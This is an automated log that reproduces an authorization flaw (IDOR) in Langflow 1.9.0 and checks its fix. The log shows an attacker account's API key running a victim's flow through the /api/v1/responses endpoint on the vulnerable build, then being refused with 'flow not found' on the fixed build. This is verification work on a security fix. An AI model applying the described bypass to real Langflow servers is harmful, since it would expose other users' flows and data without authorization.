[2026-07-07T21:42:13+00:00] uv: uv 0.11.27 (x86_64-unknown-linux-gnu)
[2026-07-07T21:42:13+00:00] Extracting vulnerable source f52d0f0072 -> /data/pruva/project-cache/688af86e-dc4c-4d20-bb02-ccdf8da2c7d0/lf-src-vuln
[2026-07-07T21:42:18+00:00] installed: langflow 1.9.0 langflow-base 0.9.0
[2026-07-07T21:42:24+00:00] installed flow.py: /data/pruva/project-cache/688af86e-dc4c-4d20-bb02-ccdf8da2c7d0/lf-src-vuln/src/backend/base/langflow/helpers/flow.py
[2026-07-07T21:42:29+00:00] flow.py ownership-check marker (expect VULN for phase 1): VULN
[2026-07-07T21:42:29+00:00] Starting Langflow server (vulnerable) on 127.0.0.1:7860 ...
[2026-07-07T21:42:29+00:00] langflow server pid=189017 (phase=vulnerable)
[2026-07-07T21:42:37+00:00] Langflow server (vulnerable) is up (health OK)
[2026-07-07T21:42:37+00:00] Registering victim user via POST /api/v1/users/ ...
[2026-07-07T21:42:37+00:00] victim register: {"id":"847f921a-28d1-4995-9b24-fda8f27e1b02","username":"victim","profile_image":null,"store_api_key":null,"is_active":true,"is_superuser":false,"create_at":"2026-07-07T21:42:37.790900","updated_at":"
[2026-07-07T21:42:37+00:00] Registering attacker user via POST /api/v1/users/ ...
[2026-07-07T21:42:38+00:00] attacker register: {"id":"151bb652-1e07-4810-9f0b-0ae4baef28c0","username":"attacker","profile_image":null,"store_api_key":null,"is_active":true,"is_superuser":false,"create_at":"2026-07-07T21:42:37.979958","updated_at"
[2026-07-07T21:42:40+00:00] logins OK (victim token len=187, attacker token len=187)
[2026-07-07T21:42:40+00:00] API keys created (victim=sk-rKFzxb4..., attacker=sk-qYtHDfX...)
[2026-07-07T21:42:40+00:00] Victim flow created: VICTIM_FLOW_ID=57b856fb-7cd0-4545-b95e-6092d854e280
[2026-07-07T21:42:40+00:00] Ownership proof: victim GET -> 200 (expect 200), attacker GET -> 404 (expect 404)
[2026-07-07T21:42:40+00:00] VULNERABLE /api/v1/responses (attacker x-api-key, model=victim flow): {"id":"1beba280-5561-4a59-9c79-963488499de2","object":"response","created_at":1783460560,"status":"completed","error":null,"incomplete_details":null,"instructions":null,"max_output_tokens":null,"model":"57b856fb-7cd0-4545-b95e-6092d854e280","output":[{"type":"message","id":"msg_1beba280-5561-4a59-9c
[2026-07-07T21:42:47+00:00] flow.py ownership-check marker (expect FIXED for phase 2): FIXED
[2026-07-07T21:42:47+00:00] Starting Langflow server (fixed) on 127.0.0.1:7860 ...
[2026-07-07T21:42:47+00:00] langflow server pid=189307 (phase=fixed)
[2026-07-07T21:42:55+00:00] Langflow server (fixed) is up (health OK)
[2026-07-07T21:42:57+00:00] fixed-phase attacker key=sk-90PPV2b...
[2026-07-07T21:42:57+00:00] FIXED /api/v1/responses (attacker x-api-key, model=victim flow): {"error":{"message":"Flow with id '57b856fb-7cd0-4545-b95e-6092d854e280' not found","type":"invalid_request_error","code":"flow_not_found"}}
[2026-07-07T21:42:57+00:00] SUMMARY: {
  "victim_flow_id": "57b856fb-7cd0-4545-b95e-6092d854e280",
  "ownership_victim_get": "200",
  "ownership_attacker_get": "404",
  "vuln_response_completed": true,
  "vuln_probe_in_output": true,
  "vuln_flow_executed_by_attacker": true,
  "vuln_flow_not_found": false,
  "vuln_parse_error": null,
  "fixed_flow_not_found": true,
  "fixed_parse_error": null,
  "idor_confirmed": true
}
[2026-07-07T21:42:57+00:00] IDOR_CONFIRMED=True
[2026-07-07T21:42:57+00:00] DONE: outcome=confirmed